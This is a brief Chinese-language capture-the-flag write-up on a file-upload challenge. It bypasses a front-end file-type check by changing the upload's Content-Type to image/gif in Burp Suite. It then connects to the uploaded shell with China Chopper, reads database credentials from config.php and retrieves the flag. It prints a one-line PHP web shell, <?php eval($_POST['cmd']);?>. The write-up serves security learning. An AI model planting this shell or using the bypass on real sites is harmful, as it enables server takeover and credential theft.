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首先，直接上传一句话木马1.php文件

发现如图弹窗 

 
初步判断是前台直接判断文件类型，这种绕过相对简单，更改传输时文件类型即可 
再次上传1.php的一句话，利用burpsuite抓包，将文件类型改为image/gif 

<?php eval($_POST['cmd']);?>  //文件内容
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成功上传 

 
利用菜刀连接之前的上传好的一句话，拿到shell，看到根目录中存在文件config.php,打开，看到数据库用户名和密码 



菜刀连接数据库，拿到flag 
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